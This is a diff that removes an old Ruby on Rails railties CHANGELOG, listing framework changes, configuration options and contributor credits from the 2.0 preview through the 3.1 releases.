-* Allow scaffold/model/migration generators to accept a "index" and "uniq" modifiers, as in: "tracking_id:integer:uniq" in order to generate (unique) indexes. Some types also accept custom options, for instance, you can specify the precision and scale for decimals as "price:decimal{7,2}". *Dmitrii Samoilov*
-
-* Added `config.exceptions_app` to set the exceptions application invoked by the ShowException middleware when an exception happens. Defaults to `ActionDispatch::PublicExceptions.new(Rails.public_path)`. *José Valim*
-
-* Speed up development by only reloading classes if dependencies files changed. This can be turned off by setting `config.reload_classes_only_on_change` to false. *José Valim*
-
-* New applications get a flag `config.active_record.auto_explain_threshold_in_seconds` in the environments configuration files. With a value of 0.5 in development.rb, and commented out in production.rb. No mention in test.rb. *fxn*
-
-* Add DebugExceptions middleware which contains features extracted from ShowExceptions middleware *José Valim*
-
-* Display mounted engine's routes in `rake routes` *Piotr Sarnacki*
-
-* Allow to change the loading order of railties with `config.railties_order=` *Piotr Sarnacki*
-
- Example:
- config.railties_order = [Blog::Engine, :main_app, :all]
-
-* Scaffold returns 204 No Content for API requests without content. This makes scaffold work with jQuery out of the box *José Valim*
-
-* Update Rails::Rack::Logger middleware to apply any tags set in config.log_tags to the newly ActiveSupport::TaggedLogging Rails.logger. This makes it easy to tag log lines with debug information like subdomain and request id -- both very helpful in debugging multi-user production applications *DHH*
-
-* Default options to `rails new` can be set in ~/.railsrc. You can specify extra command-line arguments to be used every time
- 'rails new' runs in the .railsrc configuration file in your home directory. *Guillermo Iguaran*
-
-* Add destroy alias to Rails engines *Guillermo Iguaran*
-
-* Add destroy alias for Rails command line. This allows the following: `rails d model post` *Andrey Ognevsky*
-
-* Attributes on scaffold and model generators default to string. This allows the following: "rails g scaffold Post title body:text author" *José Valim*
-
-* Remove old plugin generator (`rails generate plugin`) in favor of `rails plugin new` command *Guillermo Iguaran*
-
-* Remove old 'config.paths.app.controller' API in favor of 'config.paths["app/controller"]' API *Guillermo Iguaran*
-
-
-## Rails 3.1.4 (March 1, 2012) ##
-
-* Setting config.force_ssl also marks the session cookie as secure.
-
- *José Valim*
-
-* Add therubyrhino to Gemfile in new applications when running under JRuby.
-
- *Guillermo Iguaran*
-
-
-## Rails 3.1.3 (November 20, 2011) ##
-
-* New apps should be generated with a sass-rails dependency of 3.1.5, not 3.1.5.rc.2
-
-
-## Rails 3.1.2 (November 18, 2011) ##
-
-* Engines: don't blow up if db/seeds.rb is missing.
-
- *Jeremy Kemper*
-
-* `rails new foo --skip-test-unit` should not add the `:test` task to the rake default task.
- *GH 2564*
-
- *José Valim*
-
-## Rails 3.1.1 (October 07, 2011) ##
-
-* Add jquery-rails to Gemfile of plugins, test/dummy app needs it. Closes #3091. *Santiago Pastorino*
-
-* Add config.assets.initialize_on_precompile which, when set to false, forces
- `rake assets:precompile` to load the application but does not initialize it.
-
- To the app developer, this means configuration add in
- config/initializers/* will not be executed.
-
- Plugins developers need to special case their initializers that are
- meant to be run in the assets group by adding :group => :assets.
-
-## Rails 3.1.0 (August 30, 2011) ##
-
-* The default database schema file is written as UTF-8. *Aaron Patterson*
-
-* Generated apps with --dev or --edge flags depend on git versions of
- sass-rails and coffee-rails. *Santiago Pastorino*
-
-* Rack::Sendfile middleware is used only if x_sendfile_header is present. *Santiago Pastorino*
-
-* Add JavaScript Runtime name to the Rails Info properties. *DHH*
-
-* Make pp enabled by default in Rails console. *Akira Matsuda*
-
-* Add alias `r` for rails runner. *Jordi Romero*
-
-* Make sprockets/railtie require explicit and add --skip-sprockets to app generator *José Valim*
-
-* Added Rails.groups that automatically handles Rails.env and ENV["RAILS_GROUPS"] *José Valim*
-
-* The new rake task assets:clean removes precompiled assets. *fxn*
-
-* Application and plugin generation run bundle install unless --skip-gemfile or --skip-bundle. *fxn*
-
-* Fixed database tasks for jdbc* adapters #jruby *Rashmi Yadav*
-
-* Template generation for jdbcpostgresql #jruby *Vishnu Atrai*
-
-* Template generation for jdbcmysql and jdbcsqlite3 #jruby *Arun Agrawal*
-
-* The -j option of the application generator accepts an arbitrary string. If passed "foo",
- the gem "foo-rails" is added to the Gemfile, and the application JavaScript manifest
- requires "foo" and "foo_ujs". As of this writing "prototype-rails" and "jquery-rails"
- exist and provide those files via the asset pipeline. Default is "jquery". *fxn*
-
-* jQuery is no longer vendored, it is provided from now on by the jquery-rails gem. *fxn*
-
-* Prototype and Scriptaculous are no longer vendored, they are provided from now on
- by the prototype-rails gem. *fxn*
-
-* The scaffold controller will now produce SCSS file if Sass is available *Prem Sichanugrist*
-
-* The controller and resource generators will now automatically produce asset stubs (this can be turned off with --skip-assets). These stubs will use Coffee and Sass, if those libraries are available. *DHH*
-
-* jQuery is the new default JavaScript library. *fxn*
-
-* Changed scaffold, application, and mailer generator to create Ruby 1.9 style hash when running on Ruby 1.9 *Prem Sichanugrist*
-
- So instead of creating something like:
-
- redirect_to users_path, :notice => "User has been created"
-
- it will now be like this:
-
- redirect_to users_path, notice: "User has been created"
-
- You can also passing `--old-style-hash` to make Rails generate old style hash even you're on Ruby 1.9
-
-* Changed scaffold_controller generator to create format block for JSON instead of XML *Prem Sichanugrist*
-
-* Add using Turn with natural language test case names for test_help.rb when running with minitest (Ruby 1.9.2+) *DHH*
-
-* Direct logging of Active Record to STDOUT so it's shown inline with the results in the console *DHH*
-
-* Added `config.force_ssl` configuration which loads Rack::SSL middleware and force all requests to be under HTTPS protocol *DHH, Prem Sichanugrist, and Josh Peek*
-
-* Added `rails plugin new` command which generates rails plugin with gemspec, tests and dummy application for testing *Piotr Sarnacki*
-
-* Added -j parameter with jquery/prototype as options. Now you can create your apps with jQuery using `rails new myapp -j jquery`. The default is still Prototype. *siong1987*
-
-* Added Rack::Etag and Rack::ConditionalGet to the default middleware stack *José Valim*
-
-* Added Rack::Cache to the default middleware stack *Yehuda Katz and Carl Lerche*
-
-* Engine is now rack application *Piotr Sarnacki*
-
-* Added middleware stack to Engine *Piotr Sarnacki*
-
-* Engine can now load plugins *Piotr Sarnacki*
-
-* Engine can load its own environment file *Piotr Sarnacki*
-
-* Added helpers to call engines' route helpers from application and vice versa *Piotr Sarnacki*
-
-* Task for copying plugins' and engines' migrations to application's db/migrate directory *Piotr Sarnacki*
-
-* Changed ActionDispatch::Static to allow handling multiple directories *Piotr Sarnacki*
-
-* Added isolate_namespace() method to Engine, which sets Engine as isolated *Piotr Sarnacki*
-
-* Include all helpers from plugins and shared engines in application *Piotr Sarnacki*
-
-
-## Rails 3.0.12 (March 1, 2012) ##
-
-* No changes.
-
-
-## Rails 3.0.11 (November 18, 2011) ##
-
-* Updated Prototype UJS to lastest version fixing multiples errors in IE [Guillermo Iguaran]
-
-
-## Rails 3.0.10 (August 16, 2011) ##
-
-* No changes.
-
-
-## Rails 3.0.9 (June 16, 2011) ##
-
-* No changes.
-
-
-## Rails 3.0.8 (June 7, 2011) ##
-
-* Fix Rake 0.9.0 support.
-
-
-## Rails 3.0.7 (April 18, 2011) ##
-
-* No changes.
-
-
-## Rails 3.0.6 (April 5, 2011) ##
-
-* No changes.
-
-
-## Rails 3.0.5 (February 26, 2011) ##
-
-* No changes.
-
-
-## Rails 3.0.4 (February 8, 2011) ##
-
-* No changes.
-
-
-## Rails 3.0.3 (November 16, 2010) ##
-
-* No changes.
-
-
-## Rails 3.0.2 (November 15, 2010) ##
-
-* No changes.
-
-
-## Rails 3.0.1 (October 15, 2010) ##
-
-* No Changes, just a version bump.
-
-
-## Rails 3.0.0 (August 29, 2010) ##
-
-* Application generation: --skip-testunit and --skip-activerecord become --skip-test-unit and --skip-active-record respectively. *fxn*
-
-* Added console to Rails::Railtie as a hook called just after console starts. *José Valim*
-
-* Rails no longer autoload code in lib for application. You need to explicitly require it. *José Valim*
-
-* Rails::LogSubscriber was renamed to ActiveSupport::LogSubscriber *José Valim*
-
-* config.load_(once_)paths in config/application.rb got renamed to config.autoload_(once_)paths. *fxn*
-
-* Abort generation/booting on Ruby 1.9.1. *fxn*
-
-* Made the rails command work even when you're in a subdirectory *Chad Fowler*
-
-* Removed Rails Metal [Yehuda Katz, José Valim].
-
-* Renamed config.cookie_secret to config.secret_token and pass it as env key. *José Valim*
-
-* Session store configuration has changed *Yehuda Katz, Carl Lerche*
-
- config.session_store :cookie_store, {:key => "..."}
- config.cookie_secret = "fdsfhisdghfidugnfdlg"
-
-* railtie_name and engine_name are deprecated. You can now add any object to
- the configuration object: config.your_plugin = {} *José Valim*
-
-* Added config.generators.templates to provide alternative paths for the generators
- to look for templates *José Valim*
-
-* Added "rake about" as a replacement for script/about *DHH*
-
-* Removed all the default commands in script/* and replaced them with script/rails and a rails command that'll act the same when run from within the app [DHH]. Example:
-
- ./script/generate scaffold post title:string can now be called as rails g scaffold post title:string
-
- Run rails --help inside an app for more help.
-
-* Removed config/initializers/new_rails_defaults.rb as all frameworks now follow the settings from it *DHH*
-
-* Set config.time_zone to UTC by default *DHH*
-
-* Added default .gitignore (this is just recognizing Git market share, don't throw a hissy if you use another SCM) *DHH*
-
-* Added cookies.permanent, cookies.signed, and cookies.permanent.signed accessor for common cookie actions [DHH]. Examples:
-
- cookies.permanent[:prefers_open_id] = true
- # => Set-Cookie: prefers_open_id=true; path=/; expires=Sun, 16-Dec-2029 03:24:16 GMT
-
- cookies.signed[:discount] = 45
- # => Set-Cookie: discount=BAhpMg==--2c1c6906c90a3bc4fd54a51ffb41dffa4bf6b5f7; path=/
-
- cookies.signed[:discount]
- # => 45 (if the cookie was changed, you'll get a InvalidSignature exception)
-
- cookies.permanent.signed[:remember_me] = current_user.id
- # => Set-Cookie: discount=BAhU--848956038e692d7046deab32b7131856ab20e14e; path=/; expires=Sun, 16-Dec-2029 03:24:16 GMT
-
- ...to use the signed cookies, you need to set a secret to ActionController::Base.cookie_verifier_secret (automatically done in config/initializers/cookie_verification_secret.rb for new Rails applications).
-
-* Added config/initializers/cookie_verification_secret.rb with an auto-generated secret for using ActionController::Base#cookies.signed *DHH*
-
-* Fixed that the debugger wouldn't go into IRB mode because of left-over ARGVs *DHH*
-
-* I18n support for plugins. #2325 *Antonio Tapiador, Sven Fuchs*
-
-* Ruby 1.9: use UTF-8 for default internal and external encodings. *Jeremy Kemper*
-
-* Added db/seeds.rb as a default file for storing seed data for the database. Can be loaded with rake db:seed (or created alongside the db with db:setup). (This is also known as the "Stop Putting Gawd Damn Seed Data In Your Migrations" feature) *DHH*
-
-
-## 2.3.2 Final (March 15, 2009) ##
-
-* Remove outdated script/plugin options *Pratik Naik*
-
-* Allow metal to live in plugins #2045 *Matthew Rudy*
-
-* Added metal *Josh Peek*
-
-* Remove script/performance/request in favour of the performance integration tests. *Pratik Naik*
-
- To continue using script/performance/request, install the request_profiler plugin :
-
- script/plugin install git://github.com/rails/request_profiler.git
-
-* Add a rake task to apply a template to an existing application : rake rails:template LOCATION=~/template.rb *Pratik Naik*
-
-* Add "-m/--template" option to Rails generator to apply a template to the generated application. *Jeremy McAnally*
-
- This has been extracted from rg - http://github.com/jeremymcanally/rg
-
- Example:
-
- # template.rb
-
- # Install plugins from git or svn
- plugin "will-paginate", :git => "git://github.com/mislav/will_paginate.git"
- plugin "old-restful-auth", :svn => "http://svn.techno-weenie.net/projects/plugins/restful_authentication/"
-
- # Add gems to environment.rb
- gem "jeremymcanally-context"
- gem "bluecloth"
-
- # Vendor file. Data in a string or...
- vendor("borrowed.rb", <<CODE
- def helpful_method
- do_something_helpful_here
- end
- CODE
-
- # ...file data from block return value.
- # #initializer creates a new initializer file
- initializer("crypto.rb") do
- salt = "--#{Time.now}--#{rand}--#{srand(Time.now.to_i)}"
-
- "SPECIAL_SALT = '#{salt}'"
- end
-
- Usage:
-
- To use a template, provide a file path or URL:
-
- 1. Using a local file :
-
- rails <application name> -m /path/to/my/template.rb
-
- 2. Or directly from a URL :
-
- rails <application name> --template=http://gist.github.com/31208.txt
-
-* Extracted the process scripts (inspector, reaper, spawner) into the plugin irs_process_scripts *David Heinemeier Hansson*
-
-* Changed Rails.root to return a Pathname object (allows for Rails.root.join('app', 'controllers') => "#{RAILS_ROOT}/app/controllers") #1482 *Damian Janowski/?*
-
-* Added view path support for engines *David Heinemeier Hansson*
-
-* Added that config/routes.rb files in engine plugins are automatically loaded (and reloaded when they change in dev mode) *David Heinemeier Hansson*
-
-* Added app/[models|controllers|helpers] to the load path for plugins that has an app directory (go engines ;)) *David Heinemeier Hansson*
-
-* Add config.preload_frameworks to load all frameworks at startup. Default to false so Rails autoloads itself as it's used. Turn this on for Passenger and JRuby. Also turned on by config.threadsafe! *Jeremy Kemper*
-
-* Add a rake task to generate dispatchers : rake rails:generate_dispatchers *Pratik Naik*
-
-* "rails <app>" will not generate public/dispatch.cgi/fcgi/rb files by default now. Please use "--with-dispatchers" option if you need them. *Yaroslav Markin, Pratik Naik*
-
-* Added rake rails:update:application_controller to renamed application.rb to application_controller.rb -- included in rake rails:update so upgrading to 2.3 will automatically trigger it #1439 *kastner*
-
-* Added Rails.backtrace_cleaner as an accessor for the Rails::BacktraceCleaner instance used by the framework to cut down on backtrace noise and config/initializers/backtrace_silencers.rb to add your own (or turn them all off) *David Heinemeier Hansson*
-
-* Switch from Test::Unit::TestCase to ActiveSupport::TestCase. *Jeremy Kemper*
-
-* Added config.i18n settings gatherer to config/environment, auto-loading of all locales in config/locales/*.rb,yml, and config/locales/en.yml as a sample locale *David Heinemeier Hansson*
-
-* BACKWARDS INCOMPATIBLE: Renamed application.rb to application_controller.rb and removed all the special casing that was in place to support the former. You must do this rename in your own application when you upgrade to this version *David Heinemeier Hansson*
-
-
-## 2.2.1 RC2 (November 14th, 2008) ##
-
-* Fixed plugin generator so that generated unit tests would subclass ActiveSupport::TestCase, also introduced a helper script to reduce the needed require statements #1137 *Mathias Meyer*
-
-* Update Prototype to 1.6.0.3 *sam*
-
-
-## 2.2.0 RC1 (October 24th, 2008) ##
-
-* Fixed that sqlite would report "db/development.sqlite3 already exists" whether true or not on db:create #614 *Antonio Cangiano*
-
-* Added config.threadsafe! to toggle allow concurrency settings and disable the dependency loader *Josh Peek*
-
-* Turn cache_classes on by default *Josh Peek*
-
-* Added configurable eager load paths. Defaults to app/models, app/controllers, and app/helpers *Josh Peek*
-
-* Introduce simple internationalization support. *Ruby i18n team*
-
-* Make script/plugin install <plugin> -r <revision> option work with git based plugins. #257. [Tim Pope Jakub Kuźma]. Example:
-
- script/plugin install git://github.com/mislav/will_paginate.git -r agnostic # Installs 'agnostic' branch
- script/plugin install git://github.com/dchelimsky/rspec.git -r 'tag 1.1.4'
-
-* Added Rails.initialized? flag *Josh Peek*
-
-* Make rake test:uncommitted work with Git. *Tim Pope*
-
-* Added Thin support to script/server. #488 *Bob Klosinski*
-
-* Fix script/about in production mode. #370 *Cheah Chu Yeow, Xavier Noria, David Krmpotic*
-
-* Add the gem load paths before the framework is loaded, so certain gems like RedCloth and BlueCloth can be frozen.
-
-* Fix discrepancies with loading rails/init.rb from gems.
-
-* Plugins check for the gem init path (rails/init.rb) before the standard plugin init path (init.rb) *Jacek Becela*
-
-* Changed all generated tests to use the test/do declaration style *David Heinemeier Hansson*
-
-* Wrapped Rails.env in StringInquirer so you can do Rails.env.development? *David Heinemeier Hansson*
-
-* Fixed that RailsInfoController wasn't considering all requests local in development mode (Edgard Castro) *#310 state:resolved*
-
-
-## 2.1.0 (May 31st, 2008) ##
-
-* script/dbconsole fires up the command-line database client. #102 *Steve Purcell*
-
-* Fix bug where plugin init.rb files from frozen gem specs weren't being run. (pjb3) *#122 state:resolved*
-
-* Made the location of the routes file configurable with config.routes_configuration_file (Scott Fleckenstein) *#88*
-
-* Rails Edge info returns the latest git commit hash *Francesc Esplugas*
-
-* Added Rails.public_path to control where HTML and assets are expected to be loaded from (defaults to Rails.root + "/public") #11581 *Nick Sieger*
-
-* rake time:zones:local finds correct base utc offset for zones in the Southern Hemisphere *Geoff Buesing*
-
-* Don't require rails/gem_builder during rails initialization, it's only needed for the gems:build task. *Rick Olson*
-
-* script/performance/profiler compatibility with the ruby-prof >= 0.5.0. Closes #9176. *Jonathan del Strother*
-
-* Flesh out rake gems:unpack to unpack all gems, and add rake gems:build for native extensions. #11513 *ddollar*
-
- rake gems:unpack # unpacks all gems
- rake gems:unpack GEM=mygem # unpacks only the gem 'mygem'
-
- rake gems:build # builds all unpacked gems
- rake gems:build GEM=mygem # builds only the gem 'mygem'
-
-* Add config.active_support for future configuration options. Also, add more new Rails 3 config settings to new_rails_defaults.rb *Rick Olson*
-
-* Add Rails.logger, Rails.root, Rails.env and Rails.cache shortcuts for RAILS_* constants *Pratik Naik*
-
-* Allow files in plugins to be reloaded like the rest of the application. *Rick Olson*
-
- Enables or disables plugin reloading.
-
- config.reload_plugins = true
-
- You can get around this setting per plugin.
- If #reload_plugins? == false (DEFAULT), add this to your plugin's init.rb to make it reloadable:
-
- Dependencies.load_once_paths.delete lib_path
-
- If #reload_plugins? == true, add this to your plugin's init.rb to only load it once:
-
- Dependencies.load_once_paths << lib_path
-
-* Small tweak to allow plugins to specify gem dependencies. *Rick Olson*
-
- \# OLD open_id_authentication plugin init.rb
- require 'yadis'
- require 'openid'
- ActionController::Base.send :include, OpenIdAuthentication
-
- \# NEW
- config.gem "ruby-openid", :lib => "openid", :version => "1.1.4"
- config.gem "ruby-yadis", :lib => "yadis", :version => "0.3.4"
-
- config.after_initialize do
- ActionController::Base.send :include, OpenIdAuthentication
- end
-
-* Added config.gem for specifying which gems are required by the application, as well as rake tasks for installing and freezing gems. *Rick Olson*
-
- Rails::Initializer.run do |config|
- config.gem "bj"
- config.gem "hpricot", :version => '0.6', :source => "http://code.whytheluckystiff.net"
- config.gem "aws-s3", :lib => "aws/s3"
- end
-
- \# List required gems.
- rake gems
-
- \# Install all required gems:
- rake gems:install
-
- \# Unpack specified gem to vendor/gems/gem_name-x.x.x
- rake gems:unpack GEM=bj
-
-* Removed the default .htaccess configuration as there are so many good deployment options now (kept it as an example in README) *David Heinemeier Hansson*
-
-* config.time_zone accepts TZInfo::Timezone identifiers as well as Rails TimeZone identifiers *Geoff Buesing*
-
-* Rails::Initializer#initialize_time_zone raises an error if value assigned to config.time_zone is not recognized. Rake time zone tasks only require ActiveSupport instead of entire environment *Geoff Buesing*
-
-* Stop adding the antiquated test/mocks/* directories and only add them to the path if they're still there for legacy reasons *David Heinemeier Hansson*
-
-* Added that gems can now be plugins if they include rails/init.rb #11444 *John Barnette*
-
-* Added Plugin#about method to programmatically access the about.yml in a plugin #10979 *James Adam*
-
- plugin = Rails::Plugin.new(path_to_my_plugin)
- plugin.about["author"] # => "James Adam"
- plugin.about["url"] # => "http://interblah.net"
-
-* Improve documentation. *Ryan Bigg, Jan De Poorter, Cheah Chu Yeow, Xavier Shay, Jack Danger Canty, Emilio Tagua, Xavier Noria, Sunny Ripert*
-
-* Added config.time_zone = 'UTC' in the default environment.rb *Geoff Buesing*
-
-* Added rake tasks time:zones:all, time:zones:us and time:zones:local for finding time zone names for config.time_zone option *Geoff Buesing*
-
-* Add config.time_zone for configuring the default Time.zone value. #10982 *Geoff Buesing*
-
-* Added support for installing plugins hosted at git repositories #11294 *Jack Danger Canty*
-
-* Fixed that script/generate would not look for plugin generators in plugin_paths #11000 *glv*
-
-* Fixed database rake tasks to work with charset/collation and show proper error messages on failure. Closes #11301 *matt*
-
-* Added a -e/--export to script/plugin install, uses svn export. #10847 *jon@blankpad.net)*
-
-* Reshuffle load order so that routes and observers are initialized after plugins and app initializers. Closes #10980 *Rick Olson*
-
-* Git support for script/generate. #10690 *ssoroka*
-
-* Update scaffold to use labels instead of bold tags. Closes #10757 *zach-inglis-lt3*
-
-* Resurrect WordNet synonym lookups. #10710 *tom./, matt*
-
-* Added config.cache_store to environment options to control the default cache store (default is FileStore if tmp/cache is present, otherwise MemoryStore is used) *David Heinemeier Hansson*
-
-* Added that rails:update is run when you do rails:freeze:edge to ensure you also get the latest JS and config files #10565 *jeff*
-
-* SQLite: db:drop:all doesn't fail silently if the database is already open. #10577 *Cheah Chu Yeow, mrichman*
-
-* Introduce native mongrel handler and push mutex into dispatcher. *Jeremy Kemper*
-
-* Ruby 1.9 compatibility. #1689, #10546 *Cheah Chu Yeow, frederico*
-
-
-## 2.0.2 (December 16th, 2007) ##
-
-* Changed the default database from mysql to sqlite3, so now running "rails myapp" will have a config/database.yml that's setup for SQLite3 (which in OS X Leopard is installed by default, so is the gem, so everything Just Works with no database configuration at all). To get a Rails application preconfigured for MySQL, just run "rails -d mysql myapp" *David Heinemeier Hansson*
-
-* Turned on ActionView::Base.cache_template_loading by default in config/environments/production.rb to prevent file system stat calls for every template loading to see if it changed (this means that you have to restart the application to see template changes in production mode) *David Heinemeier Hansson*
-
-* Introduce `rake secret` to output a crytographically secure secret key for use with cookie sessions #10363 *revans*
-
-* Fixed that local database creation should consider 127.0.0.1 local #9026 *parcelbrat*
-
-* Fixed that functional tests generated for scaffolds should use fixture calls instead of hard-coded IDs #10435 *boone*
-
-* Added db:migrate:redo and db:migrate:reset for rerunning existing migrations #10431, #10432 *matt*
-
-* RAILS_GEM_VERSION may be double-quoted also. #10443 *James Cox*
-
-* Update rails:freeze:gems to work with RubyGems 0.9.5. *Jeremy Kemper*
-
-
-## 2.0.1 (December 7th, 2007) ##
-
-* Fixed Active Record bug
-
-
-## 2.0.0 (December 6th, 2007) ##
-
-* The test task stops with a warning if you have pending migrations. #10377 *Josh Knowles*
-
-* Add warning to documentation about using transactional fixtures when the code under test uses transactions itself. Closes #7548 *Thijs van der Vossen*
-
-* Update Prototype to 1.6.0.1. *sam*
-
-* Update script.aculo.us to 1.8.0.1. *madrobby*
-
-* Added db:fixtures:identity as a way of locating what ID a foxy fixture was assigned #10332 *John Barnette*
-
-* Generated fixtures should not specify ids since theyre expected to be foxy fixtures #10330 *John Barnette*
-
-* Update to Prototype -r8232. *sam*
-
-* Introduce SecretKeyGenerator for more secure session secrets than CGI::Session's pseudo-random id generator. Consider extracting to Active Support later. #10286 *Hongli Lai (Phusion)*
-
-* RAILS_GEM_VERSION may be set to any valid gem version specifier. #10057 *Chad Woolley, Cheah Chu Yeow*
-
-* Load config/preinitializer.rb, if present, before loading the environment. #9943 *Chad Woolley*
-
-* FastCGI handler ignores unsupported signals like USR2 on Windows. *Grzegorz Derebecki*
-
-* Only load ActionMailer::TestCase if ActionMailer is loaded. Closes #10137 *defunkt*
-
-* Fixed that db:reset would use migrations instead of loading db/schema.rb *David Heinemeier Hansson*
-
-* Ensure the plugin loader only loads plugins once. Closes #10102 *haruki_zaemon*
-
-* Refactor Plugin Loader. Add plugin lib paths early, and add lots of tests. Closes #9795 *James Adam*
-
-* Added --skip-timestamps to generators that produce models #10036 *Tim Pope*
-
-* Update Prototype to 1.6.0 and script.aculo.us to 1.8.0. *sam, madrobby*
-
-* Added db:rollback to rollback the schema one version (or multiple as specified by STEP) *Jeffrey Allan Hardy*
-
-* Fix typo in test_helper. Closes #9925 *viktor tron*
-
-* Request profiler. *Jeremy Kemper*
-
-* config/boot.rb correctly detects RAILS_GEM_VERSION. #9834 *alexch, thewoolleyman*
-
-* Fixed incorrect migration number if script/generate executed outside of Rails root #7080 *Jeremy McAnally*
-
-* Update Prototype to 1.6.0_rc1 and script.aculo.us to 1.8.0 preview 0. *sam, madrobby*
-
-* Generated fixtures use the actual primary key instead of id. #4343 *Frederick Ros, Tarmo Tänav*
-
-* Extend the console +helper+ method to allow you to include custom helpers. e.g:
- >> helper :posts
- >> helper.some_method_from_posts_helper(Post.find(1))
-
-* db:create works with remote databases whereas db:create:all only creates
- databases on localhost. #9753 *Trevor Wennblom*
-
-* Removed calls to fixtures in generated tests as fixtures :all is now present by default in test_helper.rb *David Heinemeier Hansson*
-
-* Add --prefix option to script/server when using mongrel. *dacat*
-
-
-## 2.0.0 Preview Release (September 29th, 2007) Includes duplicates of changes from 1.1.4 - 1.2.3 ##
-
-* Fixed that installing plugins from SVN repositories that use trunk/ will work #8188 *evan*
-
-* Moved the SourceAnnotationExtractor to a separate file in case libraries try to load the rails rake tasks twice. *Rick Olson*
-
-* Moved Dispatcher to ActionController::Dispatcher. *Jeremy Kemper*
-
-* Changed the default logger from Ruby's own Logger with the clean_logger extensions to ActiveSupport::BufferedLogger for performance reasons [David Heinemeier Hansson]. (You can change it back with config.logger = Logger.new("/path/to/log", level).)
-
-* Added a default 422.html page to be rendered when ActiveRecord::RecordInvalid, ActiveRecord::RecordNotSaved, or ActionController::InvalidAuthenticityToken is raised *David Heinemeier Hansson*
-
-* Added --skip-fixture option to script/generate model #6862 *sandofsky*
-
-* Print Rails version when starting console #7440 *eyematz*
-
-* Fixed the placement of fixture files for nested models when generating through script/generate model #7547 *jkit*
-
-* Added TEMPLATE option to rake doc:app to set a custom output template #7737 *Jakob Skjerning*
-
-* Added VERBOSE option to rake db:migrate to turn off output #8204 *John Barnette*
-
-* Fixed that rake doc:app should use UTF-8 #8906 *farzy*
-
-* Fixes rake annotations to search erb and builder files as well #9150 *m.langenberg*
-
-* Removed web_service generator *Michael Koziarski*
-
-* Added the :all option to config.plugins that'll include the rest of the plugins not already explicitly named #9613 [Frederick Cheung]. Example:
-
- # Loads :classic_pagination before all the other plugins
- config.plugins = [ :classic_pagination, :all ]
-
-* Added symbols as a legal way of specifying plugins in config.plugins #9629 *tom*
-
-* Removed deprecated task names, like clear_logs, in favor of the new namespaced style *David Heinemeier Hansson*
-
-* Support multiple config.after_initialize blocks so plugins and apps can more easily cooperate. #9582 *Zach Dennis*
-
-* Added db:drop:all to drop all databases declared in config/database.yml *David Heinemeier Hansson*
-
-* Use attribute pairs instead of the migration name to create add and remove column migrations. Closes #9166 *Pratik Naik*
-
- For example:
-
- ruby script/generation migration AddSomeStuffToCustomers first_name:string last_name:string
-
- or
-
- ruby script/generation migration RemoveSomeStuffFromCustomers first_name:string last_name:string
-
-* Add ActiveResource to Rails::Info. Closes #8741 *Chris Kampmeier*
-
-* use Gem.find_name instead of search when freezing gems. Prevent false positives for other gems with rails in the name. Closes #8729 *wselman*
-
-* Automatically generate add/remove column commands in specially named migrations like AddLocationToEvent. Closes #9006 *Ryan Davis*
-
-* Default to plural table name in Rails Generator if ActiveRecord is not present. Closes #8963 *evan*
-
-* Added rake routes for listing all the defined routes in the system. #8795 *Josh Peek*
-
-* db:create creates the database for the current environment if it's on localhost. db:create:all creates local databases for all environments. #8783 *matt*
-
-* Generators: look for generators in all gems, not just those suffixed with _generator, in the gem's generators or rails_generators directory. Allow use of the rails_generators directory instead of the standard generators directory in plugins also. #8730 *Dr Nic, topfunky*
-
-* MySQL, PostgreSQL: database.yml defaults to utf-8. #8701 *matt*
-
-* Added db:version to get the current schema number *via Err The Blog*
-
-* Added --skip-migration option to scaffold and resource generators #8656 *Michael Glaesemann*
-
-* Fix that FCGIs would leave log files open when asked to shut down by USR2. #3028 *Sebastian Kanthak, Josh Peek*
-
-* Fixed that dispatcher preparation callbacks only run once in production mode. Mock Routes.reload so that dispatcher preparation callback tests run. *Rick Olson*
-
-* Fix syntax error in dispatcher than wrecked failsafe responses. #8625 *mtitorenko*
-
-* Scaffolded validation errors set the appropriate HTTP status for XML responses. #6946, #8622 *Manfred Stienstra, mmmultiworks*
-
-* Sexy migrations for the session_migration generator. #8561 *Vladislav*
-
-* Console reload! runs to_prepare callbacks also. #8393 *f.svehla*
-
-* Generated migrations include timestamps by default. #8501 *Shane Vitarana*
-
-* Drop Action Web Service from rails:freeze:edge. *Jeremy Kemper*
-
-* Add db:create, drop, reset, charset, and collation tasks. #8448 *matt*
-
-* Scaffold generator depends on model generator instead of duplicating it. #7222 *bscofield*
-
-* Scaffold generator tests. #8443 *pelle*
-
-* Generated scaffold functional tests use assert_difference. #8421 *Norbert Crombach*
-
-* Update to Prototype 1.5.1. *Sam Stephenson*
-
-* Update to script.aculo.us 1.7.1_beta3. *Thomas Fuchs*
-
-* Generators use *.html.erb view template naming. #8278 *Tim Pope*
-
-* Updated resource_scaffold and model generators to use short-hand style migrations *David Heinemeier Hansson*
-
-* Updated initializer to only load #{RAILS_ENV}.rb once. Added deprecation warning for config.breakpoint_server. *Nicholas Seckar*
-
-* Removed breakpointer and Binding.of_caller in favor of relying on ruby-debug by Kent Sibilev since the breakpointer has been broken since Ruby 1.8.4 and will not be coming back *David Heinemeier Hansson*
-
- To use the new debugger, start your server with script/server --debugger and insert a call to 'debugger'
- (instead of 'breakpoint') where you want to jump into the debugger.
-
- BACKWARDS INCOMPATIBILITY NOTE: You must remove the default line 12 from config/environments/development.rb:
-
- config.breakpoint_server = true
-
- This configuration option is no longer available. Rails will fail to start in development mode as long as
- that's still present.
-
-* Resource scaffolding returns the created entity.to_xml. *Jeremy Kemper*
-
-* Resource scaffolding responds to new.xml. #8185 *Eric Mill*
-
-* Include Active Resource in rails:freeze:edge rake task. *Thomas Fuchs*
-
-* Include Active Resource instead of Action Web Service [David Heinemeier Hansson] You can add AWS back with this in config/environment.rb:
-
- config.load_paths += %W( #{RAILS_ROOT}/vendor/rails/actionwebservice/lib )
-
- ...or just gem 'actionwebservice'
-
-* Give generate scaffold a more descriptive database message. Closes #7316 *Jeremy McAnally*
-
-* Canonicalize RAILS_ROOT by using File.expand_path on Windows, which doesn't have to worry about symlinks, and Pathname#realpath elsewhere, which respects symlinks in relative paths but is incompatible with Windows. #6755 *Jeremy Kemper, trevor*
-
-* Deprecation: remove components from controller paths. *Jeremy Kemper*
-
-* Add environment variable RAILS_DEFAULT_DATABASE, which allows the builtin default of 'mysql' to be overridden. *Nicholas Seckar*
-
-* Windows: include MinGW in RUBY_PLATFORM check. #2982 *okkez000@gmail.com, Kaspar Schiess*
-
